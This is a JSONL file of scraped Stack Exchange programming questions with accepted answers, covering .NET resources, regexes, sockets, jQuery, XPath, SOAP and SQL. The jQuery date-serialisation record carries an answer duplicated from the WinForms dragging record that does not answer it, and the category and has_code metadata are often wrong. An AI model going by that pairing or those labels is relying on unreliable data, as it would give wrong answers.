{"id": "hf_9c8d0edd50ea", "question": "<p>I have an application on which I am implementing localization.</p>\n\n<p>I now need to dynamically reference a name in the resouce file.</p>\n\n<p>assume I have a resource file called Login.resx, an a number of strings: foo=\"hello\", bar=\"cruel\" and baz=\"world\"</p>\n\n<p>normally, I will refer as: \nString result =Login.foo;\nand result==\"hello\";</p>\n\n<p>my problem is, that at code time, I do not know if I want to refer to foo, bar or baz - I have a string that contains either \"foo\", \"bar\" or \"baz\". </p>\n\n<p>I need something like:</p>\n\n<p>Login[\"foo\"];</p>\n\n<p>Does anyone know if there is any way to dynamically reference a string in a resource file?</p>\n", "question_body": "", "answer": "You'll need to instance a\n```\nResourceManager\n```\nfor the\n```\nLogin.resx\n```\n:\n```\n```\nvar resman = new System.Resources.ResourceManager(\n    \"RootNamespace.Login\",\n    System.Reflection.Assembly.GetExecutingAssembly()\n)\nvar text = resman.GetString(\"resname\");\n```\n```\nIt might help to look at the generated code in the code-behind files of the resource files that are created by the IDE. These files basically contain readonly properties for each resource that makes a query to an internal resource manager.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.558796"}
{"id": "hf_901fa728f800", "question": "<p>The default Python install on OS X 10.5 is 2.5.1 with a FAT 32 bit (Intel and PPC) client. I want to setup apache and mysql to run django. In the past, I have run Apache and MySQL to match this install in 32 bit mode (even stripping out the 64 bit stuff from Apache to make it work).</p>\n\n<p>I want to upgrade Python to 64 bit. I am completely comfortable with compiling it from source with one caveat. How do I match the way that the default install is laid out? Especially, with regards to site-packages being in <code>/Library/Python/2.5/</code> and not the one in buried at the top of the framework once I compile it. </p>\n", "question_body": "", "answer": "Not sure I entirely understand your question, but can't you simply build and install a 64 bit version and then create symbolic links so that /Library/Python/2.5 and below point to your freshly built version of python?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.608061"}
{"id": "hf_130e8190aed2", "question": "<p>I need to match and remove all tags using a regular expression in Perl.  I have the following:</p>\n\n<pre><code>&lt;\\\\??(?!p).+?&gt;\n</code></pre>\n\n<p>But this still matches with the closing <code>&lt;/p&gt;</code> tag.  Any hint on how to match with the closing tag as well?</p>\n\n<p>Note, this is being performed on xhtml.</p>\n", "question_body": "", "answer": "Assuming that this will work in PERL as it does in languages that claim to use PERL-compatible syntax:\n```\n/<\\/?[^p][^>]*>/\n```\nEDIT:\nBut that won't match a\n```\n<pre>\n```\nor\n```\n<param>\n```\ntag, unfortunately.\nThis, perhaps?\n```\n```\n/<\\/?(?!p>|p )[^>]+>/\n```\n```\nThat should cover\n```\n<p>\n```\ntags that have attributes, too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.633120"}
{"id": "hf_456e24c336c5", "question": "<p>I run a game and the running is done by hand, I have a few scripts that help me but essentially it's me doing the work. I am at the moment working on web app that will allow the users to input directly some of their game actions and thus save me a lot of work.</p>\n\n<p>The problem is that I'm one man working on a moderately sized (upwards of 20 tables) project, the workload isn't the issue, it's that bugs will have slipped in even though I test as I write. So my question is thus two-fold.</p>\n\n<ol>\n<li>Beta testing, I love open beta's but would a closed beta be somehow more effective and give better results?</li>\n<li>How should I bring in the app? Should I one turn drop it in and declare it's being used or should I use it alongside the normal construct of the game?</li>\n</ol>\n", "question_body": "", "answer": "I don't understand what you mean by \"bring in the app\" and \"one turn drop it\". By \"bring in the app\" do you mean deploy? As for \"One turn drop\", I totally don't understand it.\nAs for open betas, that depends on your audience, really. Counterstrike, for example, apparently run a few closed betas before doing open betas, so here's my suggestion:\nSet up a forum in some free forumboard, or set up a topic in a popular gaming forum.\nLook for people (whether or not they are in those forums) that you trust, and let them in in a closed beta. This will allow you to iron out serious kinks at first.\nIf your closed group isn't reporting as much bugs any more, release it to open beta, pointing out ways on how they could give feedback to you.\nThis is similar to the approach StackOverflow took, but this being a game setting it up on a gaming forum will give the dual benefit of advertising your game\nand\ngetting some interested beta testers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.657464"}
{"id": "hf_c8600a53ed4f", "question": "<ol>\n<li>You have multiple network adapters.</li>\n<li>Bind a UDP socket to an local port, without specifying an address.</li>\n<li>Receive packets on one of the adapters.</li>\n</ol>\n\n<p>How do you get the local ip address of the adapter which received the packet?</p>\n\n<p>The question is, \"What is the ip address from the receiver adapter?\" not the address from the sender which we get in the </p>\n\n<pre><code>receive_from( ..., &amp;senderAddr, ... );\n</code></pre>\n\n<p>call.</p>\n", "question_body": "", "answer": "```\nssize_t\n     recvfrom(int socket, void *restrict buffer, size_t length, int flags,\n         struct sockaddr *restrict address, socklen_t *restrict address_len);\n\n     ssize_t\n     recvmsg(int socket, struct msghdr *message, int flags);\n\n[..]\n     If address is not a null pointer and the socket is not connection-oriented, the\n     source address of the message is filled in.\n```\nActual code:\n```\nint nbytes = recvfrom(sock, buf, MAXBUFSIZE, MSG_WAITALL, (struct sockaddr *)&bindaddr, &addrlen);\n```\nfprintf(stdout, \"Read %d bytes on local address %s\\n\", nbytes, inet_ntoa(bindaddr.sin_addr.s_addr));\nhope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.728442"}
{"id": "hf_474b7067a0e8", "question": "<p>My automated script for starting and stopping VMWare Server virtual machines has stopped working. vmware-cmd has started raising the error: </p>\n\n<blockquote>\n  <p>The ordinal 3288 could not be located in the dynamic link library LIBEAY32.dll.</p>\n</blockquote>\n\n<p>I am not aware of any specific change or update when this started happening.</p>\n\n<p>I have found a bunch of other people reporting this problem (or very similar) but no solution.</p>\n\n<p>Do you know what caused this error, and/or how to fix this?</p>\n", "question_body": "", "answer": "I would have said that something must have updated either the LIBEAY32.dll or another dll that depends on it. You may find some helpful information using the\ndepends tool\n. If you use this to open up the perl.exe then it should highlight the dependency path that produces the problem. You can compare this with other machines on which perl runs.\nThe ordinal is effectively a function that is expected by perl or a dll, but is not present in the verision of LIBEAY32.dll that you have. The depends tool makes this quite clear.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.753260"}
{"id": "hf_07f9d6174022", "question": "<p>Setting up an integration server, I’m in doubt about the best approach regarding using multiple tasks to complete the build. Is the best way to set all in just one big-job or make small dependent ones?</p>\n", "question_body": "", "answer": "I use TeamCity with an nant build script. TeamCity makes it easy to setup the CI server part, and nant build script makes it easy to do a number of tasks as far as report generation is concerned.\nHere is an article I wrote about using CI with CruiseControl.NET, it has a nant build script in the comments that can be re-used across projects:\nContinuous Integration with CruiseControl", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.790032"}
{"id": "hf_1a326a167be1", "question": "<p>I have the following html code: </p>\n\n<pre><code>&lt;h3 id=\"headerid\"&gt;&lt;span onclick=\"expandCollapse('headerid')\"&gt;&amp;uArr;&lt;/span&gt;Header title&lt;/h3&gt;\n</code></pre>\n\n<p>I would like to toggle between up arrow and down arrow each time the user clicks the span tag. </p>\n\n<pre><code>function expandCollapse(id) {   \n    var arrow = $(\"#\"+id+\" span\").html(); // I have tried with .text() too\n    if(arrow == \"&amp;dArr;\") {     \n        $(\"#\"+id+\" span\").html(\"&amp;uArr;\");               \n    } else {        \n        $(\"#\"+id+\" span\").html(\"&amp;dArr;\");               \n    }\n}\n</code></pre>\n\n<p>My function is going always the else path. If I make a javacript:alert of <code>arrow</code> variable I am getting the html entity represented as an arrow. How can I tell jQuery to interpret the  <code>arrow</code> variable as a string and not as html. </p>\n", "question_body": "", "answer": "Check out the\n.toggle()\neffect.\nHere is something similar i was playing with earlier.\nHTML:\n```\n```\n<div id=\"inplace\">\n<div id=\"myStatic\">Hello World!</div>\n<div id=\"myEdit\" style=\"display: none\">\n<input id=\"myNewTxt\" type=\"text\" />\n<input id=\"myOk\" type=\"button\" value=\"OK\" />\n<input id=\"myX\" type=\"button\" value=\"X\" />\n</div></div>\n```\n```\nSCRIPT:\n```\n```\n$(\"#myStatic\").bind(\"click\", function(){\n      $(\"#myNewTxt\").val($(\"#myStatic\").text());\n      $(\"#myStatic,#myEdit\").toggle();\n });\n $(\"#myOk\").click(function(){\n      $(\"#myStatic\").text($(\"#myNewTxt\").val());\n      $(\"#myStatic,#myEdit\").toggle();\n });\n $(\"#myX\").click(function(){\n      $(\"#myStatic,#myEdit\").toggle();\n });\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.865536"}
{"id": "hf_cb7a420ee297", "question": "<p>I have to load a PDF within a page.</p>\n\n<p>Ideally I would like to have a loading animated gif which is replaced once the PDF has loaded.</p>\n", "question_body": "", "answer": "Have you tried:\n```\n```\n$(\"#iFrameId\").on(\"load\", function () {\n    // do something once the iframe is loaded\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.902941"}
{"id": "hf_cd304fc2973a", "question": "<p>How can I use XPath to select an XML-node based on its content? </p>\n\n<p>If I e.g. have the following xml and I want to select the &lt;author&gt;-node that contains Ritchie to get the author's full name:</p>\n\n<pre><code>&lt;books&gt;\n    &lt;book isbn='0131103628'&gt;\n        &lt;title&gt;The C Programming Language&lt;/title&gt;\n        &lt;authors&gt;\n            &lt;author&gt;Ritchie, Dennis M.&lt;/author&gt;\n            &lt;author&gt;Kernighan, Brian W.&lt;/author&gt;\n        &lt;/authors&gt;\n    &lt;/book&gt;\n    &lt;book isbn='1590593898'&gt;\n        &lt;title&gt;Joel on Software&lt;/title&gt;\n        &lt;authors&gt;\n            &lt;author&gt;Spolsky, Joel&lt;/author&gt;\n        &lt;/authors&gt;\n    &lt;/book&gt;\n&lt;/books&gt;\n</code></pre>\n", "question_body": "", "answer": "The XPath for this is:\n```\n```\n/books/book/authors/author[contains(., 'Ritchie')]\n```\n```\nIn C# the following code would return \"Ritchie, Dennis M.\":\n```\n```\nxmlDoc.SelectSingleNode(\"/books/book/authors/author[contains(., 'Ritchie')]\").InnerText;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.926412"}
{"id": "hf_6a161fd35760", "question": "<p>Is there some way to do multi-threading in JavaScript?</p>\n", "question_body": "", "answer": "In raw Javascript, the best that you can do is using the few asynchronous calls (xmlhttprequest), but that's not really threading and very limited.\nGoogle Gears\nadds a number of APIs to the browser, some of which can be used for threading support.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.963223"}
{"id": "hf_d1a527fdd994", "question": "<p>The <a href=\"http://developer.apple.com/documentation/AppleApplications/Reference/SafariWebContent/UsingiPhoneApplications/chapter_6_section_4.html\" rel=\"nofollow noreferrer\">Apple Developer Documentation</a> (link is dead now) explains that if you place a link in a web page and then click it whilst using Mobile Safari on the iPhone, the Google Maps application that is provided as standard with the iPhone will launch.</p>\n\n<p>How can I launch the same Google Maps application with a specific address from within my own native iPhone application (i.e. not a web page through Mobile Safari) in the same way that tapping an address in Contacts launches the map?</p>\n\n<p><strong>NOTE:  THIS ONLY WORKS ON THE DEVICE ITSELF.  NOT IN THE SIMULATOR.</strong></p>\n", "question_body": "", "answer": "For iOS 5.1.1 and lower, use the\n```\nopenURL\n```\nmethod of\n```\nUIApplication\n```\n. It will perform the normal iPhone magical URL reinterpretation. so\n```\n```\n[someUIApplication openURL:[NSURL URLWithString:@\"http://maps.google.com/maps?q=London\"]]\n```\n```\nshould invoke the Google maps app.\nFrom iOS 6, you'll be invoking Apple's own Maps app. For this, configure an\n```\nMKMapItem\n```\nobject with the location you want to display, and then send it the\n```\nopenInMapsWithLaunchOptions\n```\nmessage. To start at the current location, try:\n```\n```\n[[MKMapItem mapItemForCurrentLocation] openInMapsWithLaunchOptions:nil];\n```\n```\nYou'll need to be linked against MapKit for this (and it will prompt for location access, I believe).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.000641"}
{"id": "hf_4a4c7eb30f29", "question": "<p>I'm looking for a way to redirect all the stderr streams in interactive bash (ideally to its calling parent process).</p>\n\n<p>I don't want to redirect stderr stream from each individual command, which I could do by appending <code>2&gt; a_file</code> to each command.</p>\n\n<p>By default, these stderr streams are redirected to the stdout of an interactive bash. I would like to get them on the stderr of this interactive bash process in order to prevent my stdout to be polluted by error messages and be able to treat them separatly.</p>\n\n<p>Any ideas?</p>\n\n<p>I still haven't found an answer ... But maybe it's actually a tty parameter. Does anybody knows something about tty/interactive shell responsibility for handling stderr ?</p>\n", "question_body": "", "answer": "You could launch a new bash process redirecting the stderr of that process:\n```\n```\n$ bash -i 2> stderr.log\n  $\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.037117"}
{"id": "hf_b993c2842bce", "question": "<p>I have two points (a line segment) and a rectangle. I would like to know how to calculate if the line segment intersects the rectangle. </p>\n", "question_body": "", "answer": "Do\nhttp://mathworld.wolfram.com/Line-LineIntersection.html\nfor the line and each side of the rectangle.\nOr:\nhttp://mathworld.wolfram.com/Line-PlaneIntersection.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.096252"}
{"id": "hf_94231d4b2956", "question": "<p>In my browsings amongst the Internet, I came across <a href=\"http://www.reddit.com/r/programming/comments/6y6lr/ask_proggit_which_is_more_useful_to_know_c_or_java/\" rel=\"nofollow noreferrer\">this post</a>, which includes this</p>\n\n<blockquote>\n  <p>\"(Well written) C++ goes to great\n  lengths to make stack automatic\n  objects work \"just like\" primitives,\n  as reflected in Stroustrup's advice to\n  \"do as the ints do\". This requires a\n  much greater adherence to the\n  principles of Object Oriented\n  development: your class isn't right\n  until it \"works like\" an int,\n  following the \"Rule of Three\" that\n  guarantees it can (just like an int)\n  be created, copied, and correctly\n  destroyed as a stack automatic.\"</p>\n</blockquote>\n\n<p>I've done a little C, and C++ code, but just in passing, never anything serious, but I'm just curious, what it means exactly?</p>\n\n<p>Can someone give an example?</p>\n", "question_body": "", "answer": "Variables in C++ can either be declared on the stack or the heap. When you declare a variable in C++, it automatically goes onto the stack, unless you explicitly use the new operator (it goes onto the heap).\n```\n```\nMyObject x = MyObject(params); // onto the stack\n\nMyObject * y = new MyObject(params); // onto the heap\n```\n```\nThis makes a big difference in the way the memory is managed. When a variable is declared on the stack, it will be deallocated when it goes out of scope. A variable on the heap will not be destroyed until delete is explicitly called on the object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.130930"}
{"id": "hf_9e6b52938492", "question": "<p>Are there any useful techniques for reducing the repetition of constants in a CSS file?</p>\n\n<p>(For example, a bunch of different selectors which should all apply the same colour, or the same font size)?</p>\n", "question_body": "", "answer": "You can use multiple inheritance in your html elements (e.g.\n```\n<div class=\"one two\">\n```\n) but I'm not aware of a way of having constants in the CSS files themselves.\nThis link (the first found when googling your question) seems to have a fairly indepth look at the issue:\nhttp://icant.co.uk/articles/cssconstants/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.240472"}
{"id": "hf_613a01caa663", "question": "<p>Help!  I have an Axis web service that is being consumed by a C# application.  Everything works great, except that arrays of long values always come across as [0,0,0,0] - the right length, but the values aren't deserialized.  I have tried with other primitives (ints, doubles) and the same thing happens.  What do I do?  I don't want to change the semantics of my service.</p>\n", "question_body": "", "answer": "Here's what I ended up with.  I have never found another solution out there for this, so if you have something better, by all means, contribute.\nFirst, the long array definition in the wsdl:types area:\n```\n```\n<xsd:complexType name=\"ArrayOf_xsd_long\">\n    <xsd:complexContent mixed=\"false\">\n      <xsd:restriction base=\"soapenc:Array\">\n        <xsd:attribute wsdl:arrayType=\"soapenc:long[]\" ref=\"soapenc:arrayType\" />\n      </xsd:restriction>\n    </xsd:complexContent>\n  </xsd:complexType>\n```\n```\nNext, we create a SoapExtensionAttribute that will perform the fix.  It seems that the problem was that .NET wasn't following the multiref id to the element containing the double value.  So, we process the array item, go find the value, and then insert it the value into the element:\n```\n```\n[AttributeUsage(AttributeTargets.Method)]\npublic class LongArrayHelperAttribute : SoapExtensionAttribute\n{\n    private int priority = 0;\n\n    public override Type ExtensionType\n    {\n        get { return typeof (LongArrayHelper); }\n    }\n\n    public override int Priority\n    {\n        get { return priority; }\n        set { priority = value; }\n    }\n}\n\npublic class LongArrayHelper : SoapExtension\n{\n    private static ILog log = LogManager.GetLogger(typeof (LongArrayHelper));\n\n    public override object GetInitializer(LogicalMethodInfo methodInfo, SoapExtensionAttribute attribute)\n    {\n        return null;\n    }\n\n    public override object GetInitializer(Type serviceType)\n    {\n        return null;\n    }\n\n    public override void Initialize(object initializer)\n    {\n    }\n\n    private Stream originalStream;\n\n    private Stream newStream;\n\n    public override void ProcessMessage(SoapMessage m)\n    {\n        switch (m.Stage)\n        {\n            case SoapMessageStage.AfterSerialize:\n                newStream.Position = 0; //need to reset stream \n                CopyStream(newStream, originalStream);\n                break;\n\n            case SoapMessageStage.BeforeDeserialize:\n                XmlWriterSettings settings = new XmlWriterSettings();\n                settings.Indent = false;\n                settings.NewLineOnAttributes = false;\n                settings.NewLineHandling = NewLineHandling.None;\n                settings.NewLineChars = \"\";\n                XmlWriter writer = XmlWriter.Create(newStream, settings);\n\n                XmlDocument xmlDocument = new XmlDocument();\n                xmlDocument.Load(originalStream);\n\n                List<XmlElement> longArrayItems = new List<XmlElement>();\n                Dictionary<string, XmlElement> multiRefs = new Dictionary<string, XmlElement>();\n                FindImportantNodes(xmlDocument.DocumentElement, longArrayItems, multiRefs);\n                FixLongArrays(longArrayItems, multiRefs);\n\n                xmlDocument.Save(writer);\n                newStream.Position = 0;\n                break;\n        }\n    }\n\n    private static void FindImportantNodes(XmlElement element, List<XmlElement> longArrayItems,\n                                           Dictionary<string, XmlElement> multiRefs)\n    {\n        string val = element.GetAttribute(\"soapenc:arrayType\");\n        if (val != null && val.Contains(\":long[\"))\n        {\n            longArrayItems.Add(element);\n        }\n        if (element.Name == \"multiRef\")\n        {\n            multiRefs[element.GetAttribute(\"id\")] = element;\n        }\n        foreach (XmlNode node in element.ChildNodes)\n        {\n            XmlElement child = node as XmlElement;\n            if (child != null)\n            {\n                FindImportantNodes(child, longArrayItems, multiRefs);\n            }\n        }\n    }\n\n    private static void FixLongArrays(List<XmlElement> longArrayItems, Dictionary<string, XmlElement> multiRefs)\n    {\n        foreach (XmlElement element in longArrayItems)\n        {\n            foreach (XmlNode node in element.ChildNodes)\n            {\n                XmlElement child = node as XmlElement;\n                if (child != null)\n                {\n                    string href = child.GetAttribute(\"href\");\n                    if (href == null || href.Length == 0)\n                    {\n                        continue;\n                    }\n                    if (href.StartsWith(\"#\"))\n                    {\n                        href = href.Remove(0, 1);\n                    }\n                    XmlElement multiRef = multiRefs[href];\n                    if (multiRef == null)\n                    {\n                        continue;\n                    }\n                    child.RemoveAttribute(\"href\");\n                    child.InnerXml = multiRef.InnerXml;\n                    if (log.IsDebugEnabled)\n                    {\n                        log.Debug(\"Replaced multiRef id '\" + href + \"' with value: \" + multiRef.InnerXml);\n                    }\n                }\n            }\n        }\n    }\n\n    public override Stream ChainStream(Stream s)\n    {\n        originalStream = s;\n        newStream = new MemoryStream();\n        return newStream;\n    }\n\n    private static void CopyStream(Stream from, Stream to)\n    {\n        TextReader reader = new StreamReader(from);\n        TextWriter writer = new StreamWriter(to);\n        writer.WriteLine(reader.ReadToEnd());\n        writer.Flush();\n    }\n}\n```\n```\nFinally, we tag all methods in the Reference.cs file that will be deserializing a long array with our attribute:\n```\n```\n[SoapRpcMethod(\"\", RequestNamespace=\"http://some.service.provider\",\n        ResponseNamespace=\"http://some.service.provider\")]\n    [return : SoapElement(\"getFooReturn\")]\n    [LongArrayHelper]\n    public Foo getFoo()\n    {\n        object[] results = Invoke(\"getFoo\", new object[0]);\n        return ((Foo) (results[0]));\n    }\n```\n```\nThis fix is long-specific, but it could probably be generalized to handle any primitive type having this problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.265153"}
{"id": "hf_05a90168ef6a", "question": "<p>I am creating a small modal form that is used in Winforms application. It is basically a progress bar of sorts. But I would like the user to be able to click anywhere in the form and drag it to move it around on the desktop while it is still being displayed.</p>\n\n<p>How can I implement this behavior?</p>\n", "question_body": "", "answer": "Microsoft KB Article 320687\nhas a detailed answer to this question.\nBasically, you override the WndProc method to return HTCAPTION to the WM_NCHITTEST message when the point being tested is in the client area of the form -- which is, in effect, telling Windows to treat the click exactly the same as if it had occured on the caption of the form.\n```\n```\nprivate const int WM_NCHITTEST = 0x84;\nprivate const int HTCLIENT     = 0x1;\nprivate const int HTCAPTION    = 0x2;\n\nprotected override void WndProc(ref Message m)\n{\n    switch(m.Msg)\n    {\n        case WM_NCHITTEST:\n        base.WndProc(ref m);\n\n        if ((int)m.Result == HTCLIENT)\n            m.Result = (IntPtr)HTCAPTION;\n        return;\n    }\n\n    base.WndProc(ref m);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.303626"}
{"id": "hf_dfae7445a2ed", "question": "<p>I am trying to set a <code>javascript</code> <code>date</code> so that it can be submitted via <code>JSON</code> to a <code>.NET</code> type, but when attempting to do this, <code>jQuery</code> sets the <code>date</code> to a full <code>string</code>, what format does it have to be in to be converted to a <code>.NET</code> type?</p>\n\n<pre><code>var regDate = student.RegistrationDate.getMonth() + \"/\" + student.RegistrationDate.getDate() + \"/\" + student.RegistrationDate.getFullYear();\nj(\"#student_registrationdate\").val(regDate); // value to serialize\n</code></pre>\n\n<p>I am using <code>MonoRail</code> on the server to perform the binding to a <code>.NET</code> type, that aside I need to know what to set the form hidden field value to, to get properly sent to <code>.NET</code> code.</p>\n", "question_body": "", "answer": "Microsoft KB Article 320687\nhas a detailed answer to this question.\nBasically, you override the WndProc method to return HTCAPTION to the WM_NCHITTEST message when the point being tested is in the client area of the form -- which is, in effect, telling Windows to treat the click exactly the same as if it had occured on the caption of the form.\n```\n```\nprivate const int WM_NCHITTEST = 0x84;\nprivate const int HTCLIENT     = 0x1;\nprivate const int HTCAPTION    = 0x2;\n\nprotected override void WndProc(ref Message m)\n{\n    switch(m.Msg)\n    {\n        case WM_NCHITTEST:\n        base.WndProc(ref m);\n\n        if ((int)m.Result == HTCLIENT)\n            m.Result = (IntPtr)HTCAPTION;\n        return;\n    }\n\n    base.WndProc(ref m);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.329016"}
{"id": "hf_f42beeedf66e", "question": "<p>I am writing a query in which I have to get the data for only the last year. What is the best way to do this?</p>\n\n<pre><code>SELECT ... FROM ... WHERE date &gt; '8/27/2007 12:00:00 AM'\n</code></pre>\n", "question_body": "", "answer": "The following adds -1 years to the current date:\n```\n```\nSELECT ... From ... WHERE date > DATEADD(year,-1,GETDATE())\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.365437"}
{"id": "hf_a17e8292b749", "question": "<p>I have an images folder with a png in it.  I would like to set a MenuItem's icon to that png.  How do I write this in procedural code?</p>\n", "question_body": "", "answer": "```\n```\nmenutItem.Icon = new System.Windows.Controls.Image \n       { \n           Source = new BitmapImage(new Uri(\"images/sample.png\", UriKind.Relative)) \n       };\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.401045"}
{"id": "hf_c852d422955a", "question": "<p>Using CFML (ColdFusion Markup Langauge, aka ColdFusion), how can you compare if two single dimension arrays are the same?</p>\n", "question_body": "", "answer": "There's a very simple way of comparing two arrays using CFML's underlying java. According to a recent blog by Rupesh Kumar of Adobe (\nhttp://coldfused.blogspot.com/\n), ColdFusion arrays are an implementation of java lists (java.util.List). So all the Java list methods are available for CFML arrays.\nSo to compare 2 arrays all you need to do is use the equals method. It returns a YES if the arrays are equal and NO if they are not.\n```\n```\n<cfset array1 = listToArray(\"tom,dick,harry,phred\")/>\n<cfset array2 = listToArray(\"dick,harry,phred\") />\n<cfset array3 = listToArray(\"tom,dick,harry,phred\")/>\n\n<cfoutput>\nArray2 equals Array1 #array2.equals(array1)# (returns a NO) <br/>\nArray3 equals Array1 #array3.equals(array1)# (returns a YES) <br/>\n</cfoutput>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.460085"}
{"id": "hf_34e052021df5", "question": "<p>Currently I am setting up an application that can deploy other web apps to Tomcat 6 clusters.  It is set up right now to have a one to one relationship between deployed web application and a cluster.  My current reasoning for this is so that I can change the JVM args of the Tomcat server without disrupting other applications and so that the memory usage of the single application will not conflict with other applications.</p>\n\n<p>The question is, what is considered best practice in terms of tomcat instance clusters?  Should you only have one application running per cluster or multiple applications like in a single tomcat instance environment? Or does this depend on the size of your application?</p>\n\n<p>Thank you</p>\n", "question_body": "", "answer": "Divide your services by resource requirements at the very least. For example, if you are running a photo album site, separate your image download server from your image upload server. The download server will have many more requests, and because most people have a lower upload speed the upload server will have longer lasting connections. Similarly, and image manipulation server would probably have few connections, but it should fork off threads to perform the CPU intensive image manipulation tasks asynchronously from the web user interface.\nIf you have the hardware to do it, it's a lot easier to manage many separate tomcat instances with one application each than a few instances with many applications.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.488830"}
